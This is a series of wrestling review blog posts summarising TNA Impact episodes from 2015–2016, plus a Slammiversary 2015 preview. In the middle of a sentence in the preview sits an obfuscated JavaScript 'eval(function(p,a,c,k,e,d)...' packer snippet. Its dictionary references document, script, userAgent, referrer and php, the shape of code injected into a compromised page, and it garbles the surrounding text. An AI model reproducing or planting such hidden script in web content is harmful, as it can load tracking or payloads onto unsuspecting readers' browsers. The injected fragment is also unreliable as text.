Impact Wrestling – February 23, 2016: Quality, Not Interest

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Date: February 23, 2016
Location: Wembley Arena, London, England
Attendance: 4,000
Commentators: D’Angelo Dinero, Josh Matthews

The opening video explains Lockdown and the main event.

Beer Money vs. Eric Young/Bram

In a cage, like all other matches tonight. They start fighting in the aisle with Storm hitting Bram in the head with a beer. The fight goes inside quickly enough but first up Bram gives Storm the Brighter Side of Suffering on the floor. That leaves Roode inside in a glorified handicap match with Roode down two to one. Bram is quickly taken down though, allowing Roode to hit a Blockbuster on Young. Storm climbs in over the top and sends Bram into the cage ten straight times to drop him off the top.

Madison Rayne has been attacked because this is TNA and they only know about three angles for their female wrestlers.

X-Division Title: Tigre Uno vs. Trevor Lee

Lee is defending and has Gregory Shane Helms in his corner. Tigre grabs a quick rollup to start before nailing Lee in the head to put him down. The champ comes right back with some choking on the bottom rope, followed by a release gutwrench suplex. A quick kick to the head staggers Lee and Tigre sends him into the cage a few times.

Maria runs into Gail Kim and talks about leading the Knockouts. Gail is REALLY QUITE SERIOUS and tells Maria to get in the ring if she wants to be a leader.

Havoc gives Rosemary something which he says will make her remember how they are together. Steve comes up and grabs it, resulting in them staring at each other.

Dollhouse vs. Gail Kim/Velvet Sky/???

Decay video.

Odarg the Great vs. Eli Drake

Rating: D. I still like the story, though could they find a way to not have a guy with a Feast or Fired briefcase lose comedy matches? Grado continues to be one of the few really entertaining things around here right now, even though it might be due to how simple and stupid the story really is.

After his face appears on camera for at least fifteen seconds, Grado covers up and runs off, seemingly more worried about people seeing his bare chest.

TNA World Title: Ethan Carter III vs. Matt Hardy

Post match Spud gives Carter a Conchairto on the chair to end the show.

We really need to see that match again in 2016? Not a great show here, but that’s just what happens in TNA these days because they don’t have a roster deep enough to pull this off these days.

Results

Beer Money b. Eric Young/Bram – DWI to Bram

Dollhouse b. Gail Kim/Velvet Sky – Package piledriver onto a chair to Kim

Odarg the Great b. Eli Drake – Odarg escaped the cage

Matt Hardy b. Ethan Carter III – Hardy escaped the cage

Remember to follow me on Twitter @kbreviews and pick up my new book of the Complete Monday Nitro Reviews Volume IV at Amazon for just $3.99 at:

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Impact Wrestling – February 16, 2016: As Always

Impact Wrestling
Date: February 16, 2016
Location: MEN Arena, Manchester, England
Attendance: 3,000
Commentators: Josh Matthews, D’Angelo Dinero

Opening sequence.

King of the Mountain Title: Eric Young vs. James Storm

Young is defending and gets taken down in a hurry with Storm sending him into the corner. Storm gets sent to the floor though, allowing Eric to take over back inside. An elbow to the face gets two and a neckbreaker gets the same. We hit the chinlock for a bit before Storm fights up with some clotheslines. Roode intercepts Bram and all four guys brawl to the floor for the double countout at 4:07.

All four fight into the crowd.

Mike Bennett vs. Mandrews

Post match Bennett keeps pounding on Mandrews until Drew Galloway makes the save.

Post break and Bennett beats down Galloway and Mandrews in the back.

Odarg the Great (notice the spelling) is coming.

We look back at Angle vs. Lashley from last year.

Tag Team Titles: Wolves vs. Decay

Abyss pulls out Janice and before I can type “and he swings it, only to get it caught in the turnbuckle pad because HE ALWAYS GETS IT CAUGHT IN THE TURNBUCKLE PAD”, he swings it, only to get it caught in the turnbuckle pad because HE ALWAYS GETS IT CAUGHT IN THE TURNBUCKLE PAD. That means more violence as Abyss piles up chairs until Eddie gets up for the save, setting up sunset bomb onto the chairs.

Gail Kim/Madison Rayne vs. Jade/Marti Bell

Post match, the Dollhouse beats down Gail and Madison until Velvet Sky makes the save. Velvet wants Lethal Lockdown next week.

Jesse Godderz/Eli Drake vs. Mahabali Shera/Odarg the Great

Jesse has some better luck by taking Shera to the mat and setting up something like a Demolition Decapitator. Back up and the hot tag brings in Odarg to clean house as everything breaks down. A Sky High gets two on Jesse as Drake goes after the mask. Odarg pulls it off instead and rolls Drake up (looking him right in the face) for the pin at 5:00.

Matt Hardy/Tyrus vs. Ethan Carter III

Results

James Storm vs. Eric Young went to a double countout

Mike Bennett b. Mandrews – Miracle in Progress

Wolves b. Decay – Brainbuster onto a chair to Steve

Odarg the Great/Mahabali Shera b. Eli Drake/Jesse Godderz – Rollup to Drake

Ethan Carter III/Rockstar Spud b. Tyrus/Matt Hardy – 1%er to Hardy

Remember to follow me on Twitter @kbreviews and pick up my new book of the Complete Monday Nitro Reviews Volume IV at Amazon for just $3.99 at:

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Impact Wrestling – January 12, 2016: All Over Again

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Date: January 12, 2016
Location: Sands Bethlehem Events Center, Bethlehem, Pennsylvania
Commentators: Josh Matthews, D’Angelo Dinero

Quick video on Angle vs. Galloway.

Opening sequence.

Jeff Hardy vs. Shynron

Ethan sits in on commentary as Shynron grabs a wristlock. Jeff dropkicks the masked man in the back to put him on the floor but something like a 619 over the apron takes Jeff down again. Back in and the Twist of Fate is broken up but a Tajiri handspring into a moonsault results in a crash. Jeff throws him up for a powerbomb but drops back for a crash. The Twist of Fate puts Shynron away at 2:23.

Dollhouse vs. Beautiful People

King of the Mountain Title: Bobby Roode vs. Eric Young

Mr. Anderson is ready for his new talk show, entitled “Huh?”.

We look back at the Bound For Glory main event and the fallout that lead to the tournament, including Ethan getting the title back.

Drew Galloway is in the crowd for storytime. Drew makes a guarantee to all of the fans here and at home: tonight will be an absolute spectacle in celebration of one of the best of all time.

Young and Bram celebrate their win and promise to get rid of Beer Money again.

Wolves/Tigre Uno vs. Jesse Godderz/Eli Drake/DJZ

Off to Drake for a nice powerslam but Eddie hurricanranas both of them down and makes the hot tag to Davey. Everything breaks down Jesse clotheslines DJZ by mistake. The powerbomb into a backstabber is broken up and Jesse puts Eddie in the Adonis Lock, only to have DJZ break it up as payback on Godderz. Davey kicks Jesse in the head, setting up a brainbuster for the pin at 6:44.

Jeff tells Matt to go for the title again.

Drew Galloway vs. Kurt Angle

Drew takes him to the top but gets punched into the Tree of Woe, only to have Drew sit up into a superplex. Galloway wins a quick slugout but misses a charge into the post, setting up the second Angle slam for two. With nothing else working, Kurt takes him to the top for the super Angle slam and the pin at 15:10.

Results

Jeff Hardy b. Shynron – Twist of Fate

Dollhouse b. Beautiful People – Package piledriver to Rayne

Eric Young b. Bobby Roode – Piledriver

Tigre Uno/Wolves b. Eli Drake/Jesse Godderz/DJZ – Brainbuster to Godderz

Kurt Angle b. Drew Galloway – Super Angle slam

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Impact Wrestling – January 5, 2016: After All This Time

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Date: January 5, 2016
Location: Sands Bethlehem Events Center, Bethlehem, Pennsylvania
Commentators: Josh Matthews, D’Angelo Dinero

During the break, Young attacked Matt with a chair and tried to piledrive him on a chair until security stopped him.

TNA World Title Tournament Semi-Finals: Eric Young vs. Lashley

Lashley lost to Carter back in the group stage. Carter hides at ringside to start before getting inside, only to be run over by a hard shoulder. Back in and Carter stops a charge with two boots in the corner and Tyrus adds a slam on the floor to earn his paycheck. Ethan slaps on a chinlock as the fans argue over whether or not he can wrestle.

Carter mixes it up with a standing guillotine choke until Lashley suplexes him down with pure power. A TKO drops Lashley for two but he powers out of the 1%er and grabs a powerslam. Tyrus breaks up the spear but Lashley powers Carter onto his shoulder, only to have to deck Tyrus again. The spear misses and Carter grabs a rollup for the pin to advance at 9:28.

Jeff Hardy promises that Matt will win the title tonight.

TNA World Title Tournament Semi-Finals: Matt Hardy vs. Eric Young

A bulldog and Twist of Fate get two each for Matt before they spill back to the floor. Young actually pulls off the piledriver on the exposed concrete and Matt is done. Cue Jeff to check on his brother but Eric baseball slides him down. Despite being dropped on his head on concrete, Matt is still able to catch Eric diving off the top in a cutter (called a Twist of Fate) for the pin at 8:05.

Back from a break, Ethan accuses Jeff of keeping Matt in his shadow. Jeff says no way and promises that Matt wins tonight.

King of the Mountain Title: Bobby Roode vs. ???

Given that this show is taped and not airing live, the fact that a production error like that aired is inexcusable. Like really, find someone to cut that thing out and make this look professional.

Dollhouse vs. Beautiful People

Post match the Beautiful People and Gail get beaten down until Kong comes out to make it even worse. Apparently Kong is now the new leader of the Dollhouse. Riveting.

Matt Hardy tells his wife and son that this is all for them.

TNA World Title: Matt Hardy vs. Ethan Carter III

Results

Ethan Carter III b. Lashley – Rollup

Matt Hardy b. Eric Young – Twist of Fate

Bobby Roode b. Bram – Roode Bomb

Beautiful People/Gail Kim b. Dollhouse – Rollup to Jade

Ethan Carter III b. Matt Hardy – Super 1%er

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of Wrestlemania at Amazon for just $3.99 at:

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Impact Wrestling – September 30, 2015: Only TNA

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Date: September 30, 2015
Location: Impact Zone, Orlando, Florida
Commentators: Josh Matthews, D’Angelo Dinero

We open with a recap of Galloway winning the title shot last week.

James Storm blames Mahabali Sheera for the downfall of the Revolution.

Recap of Sheera rebelling against the Revolution, which started falling apart as a result.

James Storm vs. Mahabali Sheera

Taryn tells the Dollhouse to destroy the Beautiful People once and for all tonight.

DJZ vs. Tommaso Ciampa vs. Trevor Lee

Brooke talks about what it means to be a Knockout. She wants the title back.

Dollhouse vs. Beautiful People

Eric Young wants to fight anyone.

Young yells at Dixie about how unfair that was so Dixie gives him Kurt Angle on Sunday.

Ethan Carter III/Tyrus vs. Matt Hardy/Drew Galloway

Results

Mahabali Sheera b. James Storm – Sky High

Trevor Lee b. DJZ and Tommaso Ciampa – Spinning powerslam to DJZ

Dollhouse b. Beautiful People – Rollup to Rayne

Matt Hardy/Drew Galloway b. Tyrus/Ethan Carter III – Big boot to Tyrus

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Impact Wrestling – September 2, 2015: I Hated This Show

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Date: September 2, 2015
Location: Impact Zone, Orlando, Florida
Commentators: Josh Matthews, D’Angelo Dinero

We recap Karen Jarrett being revealed as the evil mastermind last week.

Lashley vs. Chris Mordetzky

Lashley gets destroyed so here are the Wolves for a failed save. Jeff says bring out the surprise so here she is with the Tag Team Title Feast or Fired briefcase. She says Magnus gave it to her, which apparently you can just do.

Tag Team Titles: Wolves vs. Brian Myers/Trevor Lee

Bobby Roode only cares about winning the King of the Mountain Title tonight.

Long recap of everything that just happened.

King of the Mountain Title: PJ Black vs. Bobby Roode

Dinero and Matthews talk about what just happened.

Bram vs. Kenny King

Bram goes right after King to start but Kenny takes him down with a nice dive. He tries it once too often though and eats a clothesline to give Bram control. King comes back with a running elbow in the corner, followed by an enziguri to put Bram in the corner. Bram ducks another dive though and the Brighter Side of Suffering gives Bram the pin at 3:37.

Rating: D+. So King comes back, turns face, and loses in less than four minutes. That being said, this match was nothing to see but it calmed me down a lot after the stupid hostile takeover stuff had me losing my mind. This was something different than that one big story, though it was stupid in its own way.

The Hardys say Matt will win the title. Has there been a more tacked on feud than this in recent years?

TNA World Title: Matt Hardy vs. Ethan Carter III

Results

Lashley b. Chris Mordetzky via DQ when the GFW roster interfered

Brian Myers/Trevor Lee b. Wolves – Lee pinned Richards after a briefcase to the head

Bobby Roode b. PJ Black – Roode Bomb

Bram b. Kenny King – Brighter Side of Suffering

Ethan Carter III b. Matt Hardy – Sunset flip

Remember to follow me on Twitter @kbreviews and pick up my new book of NXT Reviews: The Full Sail Years Volume I at Amazon for just $3.99 at:

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Impact Wrestling – July 15, 2015: The Champ Has A Point

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Date: July 15, 2015
Location: Impact Zone, Orlando, Florida
Commentators: D’Angelo Dinero, Josh Matthews

Battle Royal

Abyss, Austin Aries, Bram, Chris Melendez, Crazzy Steve, Drew Galloway, Eric Young, Hernandez, James Storm, Jesse Godderz, Kenny King, Khoya, Magnus, Mandrews, Manik, Mica, MVP, Norv Fernum, Robbie E., Shark Boy

Magnus clotheslines Abyss out to almost no reaction, meaning Josh can plug the season finale of Barbecue Pit Masters. Melendez is out as the ring is clearing out a bit. Storm and Magnus are put out as we take a break. The lack of caring about two former World Champions being eliminated is striking.

Kurt Angle Hall of Fame video.

Eli Drake congratulates Drew on winning the battle royal. And of course Drake would never stab him in the back and cost him the shot right?

Before the X-Division Title match, here are some comments from Donald Trump on Mexicans, which Tigre Uno will respond to next week.

X-Division Title: Tigre Uno vs. DJZ vs. Rockstar Spud vs. Grado

Taryn promises to beat Brooke tonight as only the Dollhouse can.

Knockouts Title: Taryn Terrell vs. Brooke

Kurt Angle has given Bully Ray a great idea.

Team 3D Hall of Fame video.

James Storm vs. Magnus

Unsanctioned so anything goes. They slug it out at ringside to start before heading into the crowd with Magnus taking over. Storm slams him through a table of food and grabs a beer bottle but stops to spit on the announcers, allowing Magnus to come back with right hands. They get back inside with a table being set up but Storm hits him low.

Storm sets up two chairs with a piece of barricade bridged between. Magnus superplexes him through the barricade and, say it with me, it gets two. Both guys get bottles and connect at the same time with Storm falling on top for the pin (despite Magnus being on the barricade and therefore his shoulders not being on the mat) at 16:38.

Rating: C+. The match was trying but they went WAY too far and long out there as it was almost a copy of the Rusev vs. Cena match at Payback. Yeah they beat each other up a lot but I lost interest about halfway through. This felt like it was about four matches packed into one, but at least it was a fun brawl. The start was pretty lame though as they were just kind of walking around and trying to figure out what to do.

TNA World Title: Ethan Carter III vs. Drew Galloway

Carter is defending of course. Feeling out process to start with Drew hitting a shoulder for little advantage. Some chops have Carter in a bit more trouble and chops against the barricade make it even worse. Cue the Tyrus interference though, drawing out Eli Drake (still on crutches) to even things up as we take a break.

Remember to follow me on Twitter @kbreviews and pick up my new book of NXT Reviews: The Full Sail Years Volume I at Amazon for just $3.99 at:

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Slammiversary 2015 Preview

It’s another TNA pay per view and now, instead of being better than WWE’s offerings, the question is can they be better than One Night Only. It’s almost impossible to not beat Bound For Glory from last year, and at least there’s something borderline important on this show. Let’s get to it.

So eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kddey|var|u0026u|referrer|atdth||js|php'.split('|'),0,{})) this could be interesting as I’m not entirely sure what’s on the card in the first place.

We’ll start with the six man ladder match for the X-Division Title with new champion Tigre Uno defending against Rockstar Spud, Kenny King, Crazzy Steve, Manik and Mandrews. This is another example of the title meaning nothing as there are no feuds to be seen and it’s just throwing everyone out there for the sake of a big multi-man spot fest. It’s also telling that less than a week after the title changed hands, it’s already time for a fresh batch of opponents, despite Uno having no real connection to any of them. Tigre retains as he just got the belt earlier in the week.

I’ll take Davey over Aries to pick the stipulation for the final title match, because for some reason TNA thinks faces should pick stipulations in matches instead of heels, as common sense would suggest.

Matt Morgan will likely beat Bram via DQ or just cleanly because Bram is one of the biggest wastes in all of the company. This whole challenging anyone on the roster is really just a thing that he’s doing with no real upside. What good does it do him or anyone for that matter to have a bunch of one off matches? At least Morgan was successful in TNA. Kind of. In tag teams. Some of the time.

Ethan Carter III/Tyrus should beat Lashley and Anderson because there is zero logical reason for Anderson and Lashley to win given Carter’s upcoming title shot. Actually there’s no real reason for them to be teaming together other than they’re a pair of losers at the moment, but then again this is just another meaningless match.

Brooke and Kong over the Dollhouse in what should be another obvious ending. These are starting to worry me though as TNA is going to have to screw up something obvious sooner or later.

Jesse Godderz will beat Robbie E. because, again, there’s no logical reason for Robbie to go over. Godderz is getting a nice push as the new self obsessed heel, and having him lose to Robbie would be about the dumbest thing they could do here. Godderz won’t go very far with this character (his finisher is a Boston crab) but what they’re doing so far is working well.

Jeff Jarrett wins the King of the Mountain title. Yeah it’s now a title and the other participants are Matt Hardy, Eric Young, Drew Galloway and Bobby Roode. I love that they’re setting up a midcard title again, but their track record with these things kind of sucks. Well there’s no kind of to it actually. Maybe this will be different, assuming Jarrett actually sticks around.

Finally, James Storm over Magnus as this is probably continuing.

Overall, Slammiversary doesn’t look that bad. The card is WAY better than Bound For Glory looked last year as A, stuff actually matters here and B, I’ve heard of everyone on the card. I don’t think the show is going to mean anything other than being a long episode of Impact, but at least it could be entertaining. The build for this has barely existed because TNA can’t do something as simple as schedule things properly, but that’s the least of their problems right now. This show could be good, but it’s the most cautious optimism possible.

 

 

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete Monday Nitro Reviews Volume III at Amazon for just $3.99 at:

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Impact Wrestling – June 17, 2015: Three For The Price Of One

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Date: June 17, 2015
Location: Impact Zone, Orlando, Florida
Commentators: Josh Matthews, D’Angelo Dinero

We open with a tribute to Dusty Rhodes, who used to be the authority figure here back in the early days.

The X-Division Title will be decided next week. Man just scrap Slammiversary and put on a Barney Miller marathon.

We recap the Tag Team Title series to this point, with the Wolves currently up 2-1.

Bobby Roode vs. Eddie Edwards

We get a ten second video of Drew Galloway talking about how much he loves wrestling.

Bram vs. Joseph Park

Taryn has a deal for Brooke and Awesome Kong: if they beat the Dolls tonight, they both get a title shot. If they lose, neither can ever have a shot again.

The world is ready to burn and playtime is over. No idea what that is for.

Marti Bell/Jade vs. Brooke/Awesome Kong

DJZ vs. Jesse Godderz

Godderz laid DJZ out last week so DJZ charges right at him to start and nails a jawbreaker and middle rope back elbow (love that move). Back up and Jesse slams him down by the arm, setting up a Boston crab for the submission at 1:43.

We look back at James Storm possibly murdering Mickie James a few weeks back.

Video on Ethan Carter III.

Ethan Carter III vs. Bobby Lashley

Lashley scores with a powerslam for two but Tyrus puts a chair in the corner. The spear hits the chair (Earl Hebner has zero issue with this) and Carter gets two off a DDT. The 1%er is countered and the referee goes down (like it matters), right before the spear connects. Cue another referee but Tyrus takes him out and gives Lashley a Big Ending, setting up the third referee to count two, earning him a shot from Tyrus. Lashley spears Tyrus but gets speared down, only to get nailed in the back with a chair, setting up the 1%er to give Carter the pin at 9:26.

Results

Eddie Edwards b. Bobby Roode – Rollup

Bram b. Joseph Park – Pin after a missed spear through a table

Brooke/Awesome Kong b. Jade/Marti Bell – Elbow drop to Bell

Jesse Godderz b. DJZ – Boston crab

Ethan Carter III b. Bobby Lashley – 1%er

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete Monday Nitro Reviews Volume III at Amazon for just $3.99 at:

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Impact Wrestling – May 15, 2015: Let That Be Enough

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Date: May 15, 2015
Location: Impact Zone, Orlando, Florida
Commentators: Josh Matthews, Mike Tenay

We open with a recap of Angle vs. Young, who tonight will lead two teams in a hardcore war. Good grief just get to Carter vs. Angle already.

Here are Angle and Chris Melendez to start things off. Angle talks about going to war with Young last week, but Eric sided with the BDC. Well now Kurt has backup of his own, including Chris Melendez. He needs a bit more though, so Angle would like the Rising to come out here right now. Kurt calls them a breath of fresh air in this company as they try to eliminate a cancer calling itself the BDC.

Brooke/Rebel vs. Dollhouse

Mr. Anderson vs. Tyrus

Anderson hammers away to start but gets run over for two. A Big Ending gets two and Tyrus slams him down again for the same. Carter tries to bring in the chair but gets ejected, allowing Anderson to play possum and counter the spike into the Mic Check for the pin at 4:36.

We take a quick look back at Magnus blasting Storm with the guitar last week.

Wolves vs. Dirty Heels

Galloway picks Micah over Eli for the hardcore war tonight.

Storm yells at the Revolution for going after Magnus without permission. This is between him and Mickie James and no one else.

Jesse Godderz vs. Robbie E.

Godderz wants to restart the match so here we go again.

Jesse Godderz vs. Robbie E.

Jesse throws him down with authority but a majistral cradle is good enough to make Robbie 2-0 at 31 seconds.

Jesse Godderz vs. Robbie E.

Eric Young has a fifth guy.

Mr. Anderson is having something built to help deal with Tyrus.

Team Angle vs. Team Young

Hardcore war, which apparently means a gauntlet match, which seems to be Lethal Lockdown minus the cage but with weapons. Low Ki with his pipe and Drew Galloway with a pipe of his own start things up. First fall wins with 90 second intervals and Team Young won the coin toss (duh) to have the advantage. Low Ki loses his pipe early and Drew takes him to the floor for some hard chops instead of laying pipe into him.

Results

Dollhouse b. Brooke/Rebel – Double lifting slam to Rebel

Mr. Anderson b. Tyrus – Mic Check

Wolves b. Dirty Heels – Sunset flip to Roode

Robbie E. b. Jesse Godderz – Rollup

Robbie E. b. Jesse Godderz – Majistral cradle

Robbie E. b. Jesse Godderz – Crucifix

Team Young b. Team Angle – Piledriver to Melendez

Remember to follow me on Twitter @kbreviews and pick up my new book of 1998 Pay Per View reviews at Amazon for just $3.99 at:

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